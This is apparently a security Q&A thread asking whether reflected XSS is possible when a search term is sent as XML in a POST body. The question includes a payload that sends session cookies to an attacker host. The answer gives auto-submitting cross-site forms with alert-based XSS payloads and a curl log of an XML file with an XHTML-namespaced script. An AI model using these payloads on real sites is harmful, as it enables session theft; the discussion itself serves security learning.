6

I know that a reflected XSS can be done with a GET request like:

http://site.com?search=<script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>

As long the response looks similar to this:

<html>
    <head>
        <title>Your Serach Results</title>
    </head>
    <body>
        <h2>No results for: </h2>
        <script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </body>
</html>

But is this attack still possible, in case that the search term is send along a POST request in the http body as part of XML content. This approch is often used by RESTful services.

<Query>
    <SearchTerm>
        script>location.href='http://hackers.com?sessionToken='+document.cookie;</script>
    </SearchTerm>
</Query>

If this is possible, how can an attacker achieve this?

[EDIT]

It is also required that the Content-Type header is set to application/xml

1 Answer 1

10

Attacker can use to auto submittable remote form with the default values. like this :

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='search' value='<script>alert(/XSS/)</script>'>
</form>
<script>document.x.submit();</script>

<form name="x" action="http://site/index" method="post">
<input type="hidden" name='<?xml version' value='"1.0"?><query><script>alert(/XSS/)</script></query>'>
</form>
<script>document.x.submit();</script>

And add a script with XHTML namespace, it will run. Example

sajjad@xxx:~$ curl http://www.securation.com/files/2013/09/script.xml -v
* About to connect() to www.securation.com port 80 (#0)
*   Trying 5.144.130.33...
* connected
* Connected to www.securation.com (5.144.130.33) port 80 (#0)
> GET /files/2013/09/script.xml HTTP/1.1
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8x zlib/1.2.5
> Host: www.securation.com
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 16 Sep 2013 06:01:57 GMT
< Server: Apache
< Last-Modified: Mon, 16 Sep 2013 06:00:14 GMT
< Accept-Ranges: bytes
< Content-Length: 169
< X-Version: Securation 0.0.2 Beta
< Connection: close
< Content-Type: application/xml
< 
<?xml version="1.0" encoding="UTF-8"?>
<Query>
    <SearchTerm>
        <script xmlns="http://www.w3.org/1999/xhtml">
            alert('Hello');
        </script>
    </SearchTerm>
</Query>
* Closing connection #0

Example

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .